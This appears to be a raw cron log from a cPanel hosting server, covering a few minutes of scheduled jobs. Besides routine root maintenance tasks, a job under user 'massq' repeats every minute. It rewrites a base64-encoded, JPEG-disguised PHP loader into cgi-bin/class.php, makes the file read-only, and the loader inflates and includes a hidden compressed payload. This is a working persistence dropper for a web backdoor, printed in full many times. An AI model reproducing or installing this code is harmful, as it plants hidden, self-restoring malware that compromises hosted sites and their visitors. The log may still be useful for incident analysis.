Sep  8 16:52:01 server CROND[25727]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 16:52:01 server CROND[25728]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 16:53:01 server CROND[26120]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 16:53:01 server CROND[26121]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 16:53:01 server CROND[26119]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 16:54:01 server CROND[26497]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 16:54:01 server CROND[26498]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 16:54:01 server CROND[26499]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 16:55:01 server CROND[26952]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 16:55:01 server CROND[26954]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 16:55:01 server CROND[26957]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 16:55:01 server CROND[26958]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 16:55:01 server CROND[26960]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 16:55:01 server CROND[26962]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 16:55:01 server CROND[26961]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 16:56:01 server CROND[27835]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 16:56:01 server CROND[27836]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 16:56:01 server CROND[27837]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 16:57:02 server CROND[28221]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 16:57:02 server CROND[28222]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 16:57:02 server CROND[28223]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 16:57:02 server CROND[28224]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 16:58:01 server CROND[28597]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 16:58:01 server CROND[28598]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 16:58:01 server CROND[28599]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 16:59:01 server CROND[28987]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 16:59:01 server CROND[28988]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 16:59:01 server CROND[28989]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 17:00:01 server CROND[29381]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 17:00:01 server CROND[29384]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 17:00:01 server CROND[29385]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 17:00:01 server CROND[29386]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 17:00:01 server CROND[29391]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 17:00:01 server CROND[29394]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 17:00:01 server CROND[29393]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  8 17:00:01 server CROND[29389]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 17:00:01 server CROND[29390]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 17:01:01 server CROND[30326]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 17:01:01 server CROND[30327]: (root) CMD (run-parts /etc/cron.hourly)
Sep  8 17:01:01 server CROND[30328]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 17:01:01 server CROND[30329]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 17:01:01 server run-parts(/etc/cron.hourly)[30327]: starting 0anacron
Sep  8 17:01:01 server run-parts(/etc/cron.hourly)[30347]: finished 0anacron
Sep  8 17:02:01 server CROND[30707]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 17:02:01 server CROND[30708]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 17:02:01 server CROND[30709]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 17:03:01 server CROND[31117]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 17:03:01 server CROND[31119]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 17:03:01 server CROND[31120]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
